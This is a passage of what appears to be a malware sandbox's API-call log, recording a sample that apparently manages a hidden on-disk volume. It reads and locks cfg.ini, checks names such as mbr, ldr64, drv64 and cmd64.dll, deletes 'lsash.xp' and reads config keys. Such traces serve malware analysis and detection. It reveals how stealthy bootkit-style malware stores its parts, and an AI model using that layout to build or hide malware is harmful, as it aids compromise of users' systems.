ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.677] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.677] IdePortDispatch () returned 0x103 [0124.678] KeWaitForMutexObject () returned 0x0 [0124.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.678] KeLeaveCriticalRegion () [0124.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.678] KeEnterCriticalRegion () [0124.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359e000 [0124.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.678] IdePortDispatch () returned 0x103 [0124.678] KeWaitForMutexObject () returned 0x0 [0124.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.678] IdePortDispatch () returned 0x103 [0124.679] KeWaitForMutexObject () returned 0x0 [0124.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] KeLeaveCriticalRegion () [0124.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.679] KeEnterCriticalRegion () [0124.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] KeLeaveCriticalRegion () [0124.679] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.679] KeEnterCriticalRegion () [0124.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] KeLeaveCriticalRegion () [0124.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.679] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.679] KeEnterCriticalRegion () [0124.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.679] KeLeaveCriticalRegion () [0124.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.679] ReleaseMutex (hMutex=0xf0) returned 1 [0124.679] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.679] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.679] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.680] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.680] KeEnterCriticalRegion () [0124.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.680] IdePortDispatch () returned 0x103 [0124.680] KeWaitForMutexObject () returned 0x0 [0124.680] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.680] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.680] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.680] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.680] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.680] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.680] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.680] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.680] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.680] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.680] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.680] KeLeaveCriticalRegion () [0124.680] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.680] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.680] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.680] KeEnterCriticalRegion () [0124.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.680] IdePortDispatch () returned 0x103 [0124.681] KeWaitForMutexObject () returned 0x0 [0124.681] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.681] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.681] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.681] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.681] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.681] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.681] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.681] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.681] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.681] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.681] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.681] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.681] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.681] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.681] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.681] KeLeaveCriticalRegion () [0124.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.681] ReleaseMutex (hMutex=0x100) returned 1 [0124.681] Sleep (dwMilliseconds=0x2bf20) [0124.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d846630, dwHighDateTime=0x1d24fa4)) [0124.687] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.687] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.687] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.687] KeEnterCriticalRegion () [0124.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.688] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.688] IdePortDispatch () returned 0x103 [0124.688] KeWaitForMutexObject () returned 0x0 [0124.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.688] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.688] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.688] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.688] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.688] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.688] KeLeaveCriticalRegion () [0124.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.688] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.688] KeEnterCriticalRegion () [0124.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.688] KeLeaveCriticalRegion () [0124.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.688] KeEnterCriticalRegion () [0124.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.688] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.688] IdePortDispatch () returned 0x103 [0124.688] KeWaitForMutexObject () returned 0x0 [0124.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.689] KeLeaveCriticalRegion () [0124.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.689] KeEnterCriticalRegion () [0124.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a1000 [0124.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.689] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.689] IdePortDispatch () returned 0x103 [0124.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.689] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.689] IdePortDispatch () returned 0x103 [0124.689] KeWaitForMutexObject () returned 0x0 [0124.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.689] KeLeaveCriticalRegion () [0124.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.690] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.690] KeEnterCriticalRegion () [0124.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] KeLeaveCriticalRegion () [0124.690] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.690] KeEnterCriticalRegion () [0124.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.690] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] KeLeaveCriticalRegion () [0124.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.690] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.690] KeEnterCriticalRegion () [0124.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] KeLeaveCriticalRegion () [0124.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.690] ReleaseMutex (hMutex=0xf0) returned 1 [0124.690] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.690] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.690] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.690] KeEnterCriticalRegion () [0124.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.690] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.690] IdePortDispatch () returned 0x103 [0124.691] KeWaitForMutexObject () returned 0x0 [0124.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf24a0 [0124.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.691] KeLeaveCriticalRegion () [0124.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.691] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.691] KeEnterCriticalRegion () [0124.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.691] KeLeaveCriticalRegion () [0124.691] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.691] KeEnterCriticalRegion () [0124.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.691] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.691] IdePortDispatch () returned 0x103 [0124.691] KeWaitForMutexObject () returned 0x0 [0124.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.691] KeLeaveCriticalRegion () [0124.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.691] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.692] KeEnterCriticalRegion () [0124.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a2000 [0124.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.692] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.692] IdePortDispatch () returned 0x103 [0124.692] KeWaitForMutexObject () returned 0x0 [0124.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.692] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.692] IdePortDispatch () returned 0x103 [0124.692] KeWaitForMutexObject () returned 0x0 [0124.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.692] KeLeaveCriticalRegion () [0124.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.693] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.693] KeEnterCriticalRegion () [0124.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] KeLeaveCriticalRegion () [0124.693] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.693] KeEnterCriticalRegion () [0124.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.693] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] KeLeaveCriticalRegion () [0124.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.693] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.693] KeEnterCriticalRegion () [0124.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] ExFreePoolWithTag (P=0xfffffa8003bf24a0, Tag=0x0) [0124.693] 